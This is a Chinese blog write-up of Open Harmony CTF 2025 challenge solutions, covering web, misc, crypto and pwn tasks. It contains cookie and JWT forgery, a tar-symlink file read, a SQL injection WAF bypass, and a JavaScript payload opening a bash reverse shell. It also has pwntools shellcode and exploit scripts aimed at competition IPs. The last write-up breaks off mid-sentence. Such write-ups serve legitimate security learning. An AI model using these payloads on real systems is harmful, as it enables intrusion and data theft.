Logo
Overview

Open Harmony CTF 2025题解

June 9, 2025
💡

本文章创建于赛后,发布于赛后24h。(2025.06.09 21:00)

https://mp.weixin.qq.com/s/W9WKJeEoqcIW5wKHAqpPJA

队伍信息

  • 队伍名称:Spirit+
  • 比赛排名:9
  • 比赛得分:2696
  • 解题数量:18/22

Web

Layers of Compromise

弱密码,使用 user/password123 登录系统

当前 cookie 为 Cookie: username=user; role=user 将其修改为 Cookie: username=admin; role=admin 从而可以看到仅限管理员可看的文档

confidential_note.txt

TEXT
 内部API令牌: c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec

confidential_dev.txt

TEXT
 内部API端点:
 - status
 - config
 - debug (仅限本地访问)
 
 查看 /data/app/www/secrettttts/ 获取开发令牌。

根据提示扫描 /secrettttts 路由,扫描到 /secrettttts/token.txt
获得如下信息:

PHP
7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n
--auth.php
if (isset($_COOKIE['auth_token'])) {
    $auth_data = unserialize(base64_decode($_COOKIE['auth_token']));
    if ($auth_data['username'] === 'dev' && 
        $auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) {
        return true;
    }
}
--
'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'

根据信息构造 Cookie:

PHP
<?php echo base64_encode(serialize(['username'=>'dev', 'hash'=>md5('dev' . 'S3cr3tK3y!2023')])); ?>

$ YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==

添加 Cookie auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
此时能够访问 /logs.php,构造 "${IFS}/data/fl*g/*" 即可获得flag

##

Filesystem

首先使用tar解压保留软链接的特性实现任意文件读取,获得adminconfig.lock

BASH
 ln -s ../../filesystem/adminconfig.lock link
 tar cf link.tar link

上传后tar包将自动解压并保留原始的软链接,此时重新下载link文件即可获得adminconfig.lock

JSON
{
  "password": "hArd_Pa@s5_wd",
  "slogon": "Keep it up!"
}

使用

TEXT
admin/hArd_Pa@s5_wd

登录

分析代码后发现该组件存在漏洞,可以执行js代码

因此调用 changePassword api 修改 slogon 然后再重新登录触发 gray 渲染 slogon 执行 js 代码反弹 shell 获得 flag

Payload:

JSON
{
  "password": "hArd_Pa@s5_wd",
  "slogon": "---js\nprocess.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ip>/<port> 0>&1\"')\n---"
}

##

ezAPP_And_SERVER

PYTHON
import base64, hashlib, json, requests, jwt, sys
from itertools import cycle
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding

# ---------------- 0) 目标地址 ----------------
BASE = "http://47.96.162.115:8080"

# ---------------- 1) 还原真正的 JWT 密钥 ----------------
PLAIN = "FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ"
KEY   = "134522123"
SECRET_REAL = bytes([ord(a) ^ ord(KEY[i % len(KEY)]) for i, a in enumerate(PLAIN)])

def sign(uid: str) -> str:
    return jwt.encode(
        {"sub": "1234567890", "uid": uid, "iat": 1516239022},
        SECRET_REAL, algorithm="HS256"
    )

# ---------------- 2) 先把普通列表里所有 uid 探一遍 ----------------
# 这 8 个 uid 就是源码里硬编码的那批
UIDS = [
    "f47ac10b-58cc-4372-a567-0e02b2c3d479",
    "c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b",
    "732390b8-ccb6-41de-a93b-94ea059fd263",
    "f633ec24-cfe6-42ba-bcd8-ad2dfae6d547",
    "eb8991c8-9b6f-4bc8-89dd-af3576e92bdb",
    "db62356d-3b99-4764-b378-e46cb95df9e6",
    "8f4610ee-ee87-4cca-ad92-6cac4fdbe722",
    "1678d80e-fd4d-4de3-aae2-cb0077f10c21",
]

admin_uid = None

for uid in UIDS:
    url = f"{BASE}/api/v1/contacts?uid={uid}"
    r = requests.get(url, headers={"Authorization": sign(uid)}, timeout=5)
    if r.status_code != 200:
        print(f"[contacts] {uid[:8]}… -> HTTP {r.status_code}")
        continue

    try:
        users = r.json()["data"]["users"]
        print(users)
    except Exception:
        print(f"[contacts] {uid[:8]}… -> 解析失败")
        continue

    for u in users:
        if str(u.get("role", "")).lower() == "admin":
            admin_uid = u["uid"]
            print(f"[+] 在 {uid[:8]}… 的联系人列表里找到了 admin_uid = {admin_uid}")
            break
    if admin_uid:
        break

# if not admin_uid:
#     print("[-] 还是没发现 admin 账号,可能题目更新或需要更多枚举。")
#     sys.exit(0)

# ---------------- 3) 准备 /getflag 的 RSA + MD5 ----------------
PUB_PEM = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----"""
pub = serialization.load_pem_public_key(PUB_PEM)
cipher_b64 = base64.b64encode(
    pub.encrypt(b'{"action":"getflag"}', padding.PKCS1v15())
).decode()

body  = f'{{"data":"{cipher_b64}"}}'
x_md5 = hashlib.md5(body.encode()).hexdigest()

headers = {
    "Authorization": sign(admin_uid),
    "X-Sign":        x_md5,
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,"
              "image/avif,image/webp,image/apng,*/*;q=0.8,"
              "application/signed-exchange;v=b3;q=0.7"
}

r = requests.post(f"{BASE}/api/v1/getflag", data=body, headers=headers, proxies=proxies, timeout=5)
print(f"[getflag] HTTP {r.status_code}")
print(r.text)

contacts api 存在带waf的sql注入

TEXT
/api/v1/contacts?uid={base}"/**/or/**/"z"%3d"z

获得admin uid:9d5ec98c-5848-4450-9e58-9f97b6b3b7bc
TEXT
POST /api/v1/getflag HTTP/1.1
Host: web-f38d49af16.challenge.xctf.org.cn
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoiOWQ1ZWM5OGMtNTg0OC00NDUwLTllNTgtOWY5N2I2YjNiN2JjIiwiaWF0IjoxNTE2MjM5MDIyfQ.h7eaXGcCUq-3UDwEwjtDxDCKrcpwj36alJy5SAZetro
X-Sign: 59da59943192975b322b552675c5a80f
Content-Length: 355

{"data":"llVxb3tJOuARw2ceX/Qu9kCqQO/aZyT0BMxJvPpP8wMmMVyp5IbNIwkGpHzRJTY9BrF+4SIuHQzmMoawa642IfUiWfdqbQV1+IR+lcB/l+QPvzR9+mzqG0hvvKBxMHULtPYFUFGpKnoeN+Yhcdt+GGAuSktSJnaIIcTSR4xj4cSOgUpSVj5QWWhms1kJs+voKW7l39zLiyr0EXRLYDkGZgfnQULeLkg+tLTG9fd6pRQrSfUTYLhbFxqHrN7jHkxb6WEGOgrZxfP3L6+0J2fTi+ztHyClWokp3MDvB8oUdLOI7NkfEXfkjiII3cC0BW9x9LlrBpaAgX1JBnCj+yQMyw=="}

Misc

软总线流量分析取证1

去掉fake有关的流量,定位到tcp.stream eq 7/8

TEXT
"HOST":"com.example.calculator"
"dmVersion":"5.0.1"
"targetDeviceName":"OpenHarmony 3.2"
"softbusVersion":101

md5(OpenHarmony_3.2_calculator_5.0.1_101)提交


Crypto

Small Message For (SM4) Encryption

PYTHON
from rich.progress import track
from gmssl import sm4, func
from pwn import xor
import itertools

for l in range(1, 5):
    for cand in track(itertools.product(range(256), repeat = int(l)), total = int(256**l)):
        key = (bytes(cand)*16)[:16]
        iv = xor(key, what)
        cipher = sm4.CryptSM4(sm4.SM4_DECRYPT, 0)
        cipher.set_key(key, sm4.SM4_DECRYPT)
        pt = cipher.crypt_cbc(iv, ct)
        if b"My FLAG? " in pt:
            print(pt)

Weak_random

PYTHON
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import xor
import random

enc = bytes.fromhex('e88b2eb25b22929b2eb84898bc2c620c8798637ab64b892c218c83a0e523580f6c5772c84461f09045b6bce48c102a5f')
check = bytes.fromhex('83d92dc441e420587b2eb46f46ca424597af97a88f0da1b64243e287c69aa645')
known = b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
for i in range(10000):
    for j in range(256):
        seed = i + (j << 8)
        random.seed(seed)
        key = random.getrandbits(128)
        aes = AES.new(key.to_bytes(16, byteorder='big'),AES.MODE_ECB)
        iv = xor(known, aes.decrypt(enc)[:16])
        aes = AES.new(key.to_bytes(16, byteorder='big'),AES.MODE_CBC,iv=iv)
        flag = aes.decrypt(enc)
        if sha256(flag[16:]).digest() == check:
            print(flag[16:])
            break

Ea5y_RSA

ct:

TEXT
2z/TenC2n+eLR6WbO8mQcJsdKMasdA2/K6xDQj2ABqZvMz1PHTdUvnw7YcFv9fM7BYqf7WCbVFYzJINUeseI7f+72PEw6XuTyDW4s6nE6bZr51XrX383raumpOxUwryCudjsFEsDRmq16sgf0Rk2KJCVLyaXhDstMux+VumSaEY=
JAVASCRIPT

let gift: number[] = [0];
    if(this.keyPair != null){
      let pri = this.keyPair.priKey.getEncoded().data;

      for(let i: number = 7; i < 285; i++){
        gift.push(pri[i]);
      }
    }
TEXT

my gift: 0,48,13,6,9,42,134,72,134,247,13,1,1,1,5,0,4,130,2,97,48,130,2,93,2,1,0,2,129,129,0,219,91,76,137,49,174,41,189,193,240,64,187,23,143,171,74,107,120,166,142,186,244,90,56,6,54,147,63,158,119,222,110,46,245,223,167,190,173,76,7,36,210,188,249,83,151,200,24,88,11,247,108,112,208,109,173,32,143,133,158,62,83,232,150,60,120,232,201,90,239,207,77,200,36,2,107,62,204,214,35,28,190,48,150,242,52,247,4,11,255,164,13,122,170,42,223,66,36,114,134,183,30,99,21,31,224,194,169,223,86,12,216,139,0,255,220,115,223,83,90,71,25,221,180,160,8,212,41,2,3,1,0,1,2,129,128,82,97,158,131,227,241,153,225,151,69,136,185,251,38,76,217,93,53,105,176,47,12,120,25,148,83,200,199,90,215,127,228,247,164,5,196,52,251,86,147,84,68,5,14,202,83,53,165,214,227,95,160,13,90,105,230,92,85,42,132,124,185,252,158,69,85,122,160,246,99,167,168,183,89,173,57,73,126,186,253,22,111,92,152,14,5,95,175,46,189,186,93,207,30,207,8,231,173,143,91,128,18,58,6,25,209,64,207,123,224,255,177

n

TEXT
 00db5b4c8931ae29bdc1f040bb178fab4a6b78a68ebaf45a380636933f9e77de6e2ef5dfa7bead4c0724d2bcf95397c818580bf76c70d06dad208f859e3e53e8963c78e8c95aefcf4dc824026b3eccd6231cbe3096f234f7040bffa40d7aaa2adf42247286b71e63151fe0c2a9df560cd88b00ffdc73df535a4719ddb4a008d429

d_high

TEXT
 52619e83e3f199e1974588b9fb264cd95d3569b02f0c78199453c8c75ad77fe4f7a405c434fb56935444050eca5335a5d6e35fa00d5a69e65c552a847cb9fc9e45557aa0f663a7a8b759ad39497ebafd166f5c980e055faf2ebdba5dcf1ecf08e7ad8f5b80123a0619d140cf7be0ffb1
PYTHON

#sage

from Crypto.Util.number import long_to_bytes as i2b, bytes_to_long as b2i
from base64 import b64decode
from subprocess import check_output
from re import findall
from rich.progress import track
import shutil

def flatter(M):
    #logger.debug(f"flatter reduction on matrix of size {M.nrows()}x{M.ncols()}")
    # compile <https://github.com/keeganryan/flatter> and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(ZZ, findall(b"-?\d+", ret)))

if shutil.which("flatter"):
    has_flatter = True
else:
    has_flatter = False

def LLL(M, *args, **kwargs):
    return M.LLL(*args, **kwargs)

def BKZ(M, *args, **kwargs):
    return M.BKZ(*args, **kwargs)

def auto_reduction(M):
    """
    Compute a LLL or flatter reduced basis for the lattice M

    :param M: a matrix
    """
    if not has_flatter:
        return LLL(M)
    if max(M.dimensions()) < 32:
        # prefer LLL for small matrices
        return LLL(M)
    if M.is_square():
        return flatter(M)
    # flatter also works in linear depedent case
    nr, nc = M.dimensions()
    if nr > nc:
        # definitely not linearly independent
        return LLL(M)
    if M.rank() < nc:
        return LLL(M)
    return flatter(M)

default_reduction = auto_reduction

def set_default_reduction(reduction):
    global default_reduction
    default_reduction = reduction

def reduction(M):
    return default_reduction(M)

def hl_bits_leakage(N, pbar, epsilon, beta):
    d = 1
    h = ceil(beta**2/epsilon/d)
    k = ceil(d*h/beta)
    X = ceil((N**(beta**2/d-epsilon)))
    P.<x> = ZZ[]
    f = pbar + x
    L = matrix(ZZ, k + 1 , k + 1 )
    #alg.debug(f'{alg.blue_("β = ")}{beta}', f'{alg.blue_("ε = ")}{epsilon}', f'{alg.blue_("Bound of x (%s bits): " % X.bit_length())}{X}')
    for i in range(h*d):
        for j, l in enumerate(f ** i):
            L[i, j] = N ** (h - i) * l * X ** j
    for i in range(k - h*d + 1 ):
        for j, l in enumerate(x ** i * f ** h):
            L[i + h*d, j] = l * X ** j
    L_ = reduction(L)
    g = sum(j * x ** i / X ** i for i, j in enumerate(L_[0]))
    roots = g.roots()
    p = 1
    if roots:
        p = roots[0][0] + pbar
    if p in (0, 1, N) or N % p:
        return None, None
    return int(p), int(N//p)

def find_p_high(d_high, e, n):
    PR.<X> = PolynomialRing(RealField(3000))
    for k in track(range(1, e+1)):
        f=e * d_high * X - (k*n*X + k*X + X-k*X**2 - k*n)
        results = f.roots()
        if results:
            for x in results:
                p_high = int(x[0])
                p, q = hl_bits_leakage(n, p_high, 0.11, 0.4999)
                if p and p != 1:
                    return p

leak1 = 57850133747373485628179469860266528243343272262262857838878301284376816881442052178411528555905268918150912612804392133880828981094685646854966958919789928408026567208425530563313754246887007318356768404095805517376108873938552245564678059265744810063699898007039745799211466563896279963059214236605506125824
n1 = 154037468630464231406736192915625379331409744210454674935463666813237047412305195368973970949025458460523152801582962145132567705440312568071099402215344458235483082208351604382017326351294501958546225823921390273408433827181805105325672418573482115961927107996112107037097400031487333473398364538993660974121
e1 = 0x10001
p1 = find_p_high(leak1, e1, n1)
q1 = n1 // p1
d1 = pow(e1, -1, (p1 - 1) * (p1 - 1))

def known_pq(p, q, c, e = 0x10001):
    return pow(c, pow(e, -1, (p-1)*(q-1)), p*q)

print(i2b(known_pq(p1, q1, b2i(b64decode(b'2z/TenC2n+eLR6WbO8mQcJsdKMasdA2/K6xDQj2ABqZvMz1PHTdUvnw7YcFv9fM7BYqf7WCbVFYzJINUeseI7f+72PEw6XuTyDW4s6nE6bZr51XrX383raumpOxUwryCudjsFEsDRmq16sgf0Rk2KJCVLyaXhDstMux+VumSaEY=')))))

Simple LLL

ci=riq+(gmiMimodp)c_i=r_i\cdot q + (g^{m_i} \cdot M_i \bmod {p})
对应 ρ=170, η=215, γ=η+190\rho=170,\ \eta=215,\ \gamma=\eta+190 的 ACD 问题。

p-1 = 2^5 * 3 * 102911 * 197807 * 70121565061 * 6901227617683515598464086393

0<mi<224<2531029111978070<m_i<2^{24}<2^5 \cdot 3 \cdot 102911 \cdot 197807

PYTHON
#sage

from rich.progress import track
from Crypto.Util.number import *

# https://github.com/jvdsn/crypto-attacks/blob/master/attacks/acd/sda.py
def recover_p(cts):
    n = 50
    samps = cts[:n]
    rho = 170
    alpha = round(sqrt(n) / (n-1) / (sqrt(n)+1) * 2**rho)
    B = matrix(ZZ, n, n + 1)
    R = 2 ** rho
    for i, xi in enumerate(samps):
        B[i, 0] = xi
        B[i, i + 1] = R
    B = B.LLL()
    K = B.submatrix(row=0, col=1, nrows=n-1, ncols=n).right_kernel()
    q = K.an_element()
    symmetric_mod = lambda a, b: a % b if a % b < b // 2 else a % b - b
    r0 = symmetric_mod(samps[0], q[0])
    p = abs((samps[0] - r0) // q[0])
    r = [symmetric_mod(xi, p) for xi in samps]
    if all(-R < ri < R for ri in r):
        assert isPrime(int(p)) and p.bit_length() == 215, p
        return int(p)

p = 
g = 
ct = 

q = recover_p(ct)
assert q
dlogs = [(QQ(c%q)/d)%p for c, d in zip(ct, b"Lattice-based cryptography is the generic term for constructions of cryptographic primitives that involve lattices, either in the construction itself or i"[:50])]
res = []
for dlog in track(dlogs):
    res.append(discrete_log(pow(dlog, 6901227617683515598464086393 * 70121565061, p), Mod(g, p) ** (6901227617683515598464086393 * 70121565061), ord = 2^5 * 3 * 102911 * 197807))
pt = b''.join(map(long_to_bytes, res))
loop_index = pt.index(pt[:6], 6)
print(b'flag{' + pt[:loop_index] + b'}')

Pwn

minishell

取出来也是一个shell。逆一下可以发现简单shellcode。但是长度不够一次完成orw。所以构造一个read shellcode然后跳过去再orw即可。

PYTHON
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
# r = process("./minishell")
r = remote("61.147.171.107",42114)

def sendline(data):
    r.recv()
    r.sendline(data.encode('utf-8'))

def sendshellcode(data):
    r.recv()
    r.sendline(asm(data))

sendline("cat")
sendshellcode('''
mov rsi,rdi
xor edi,edi
add rsi,0x100
mov dl,0xff
syscall
jmp rsi 
''')
sendshellcode('''
mov rsp, rsi
add rsp,0x100
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

r.interactive()

ezshell

查看 disk-imgs/userdata.img/app/pwn,可以发现是一个自定义的 shell。

逆向 ezshell ,查看字符串,找到 /flag 的引用,发现一个进入开发者模式的命令 !devmode

经过尝试发现可以通过若干空格分隔的形如

TEXT
\xx\yy\yy...

的短语来执行

TEXT
\xx

操作码对应的管理员命令。

\ff 操作码尝试读取 /flag ,并且执行该命令后可以开放 lscat 的使用权限,ls 发现 flag 位于 pwn/flag ,但仍无法用 cat 直接读取(过滤了关键词)

\ea 操作码用来创建“Shortcut”,从 sub_403F9E 中可以猜测引用快捷键 num 的语法是 ${num}

尝试用

TEXT
!devmode \ea\70\77\6e\2f\66\6c\61\67

创建

TEXT
pwn/flag

的快捷键发现关键词被 ban 掉了。故尝试用

TEXT
!devmode \ea\70\77\6e\2f\66\6c\61 \ea\67

分别创建

TEXT
pwn/fla

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。